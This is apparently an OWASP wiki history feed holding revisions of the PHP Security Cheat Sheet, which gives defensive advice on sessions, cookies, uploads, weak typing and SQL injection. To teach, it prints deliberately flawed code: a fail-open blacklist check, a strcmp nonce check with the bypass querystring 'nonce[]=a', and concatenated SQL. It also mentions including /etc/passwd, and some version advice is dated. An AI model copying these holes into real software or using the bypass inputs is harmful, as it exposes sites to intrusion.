Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=182871</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=182871"/>
				<updated>2014-09-25T07:53:29Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Exceptions and error handling */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
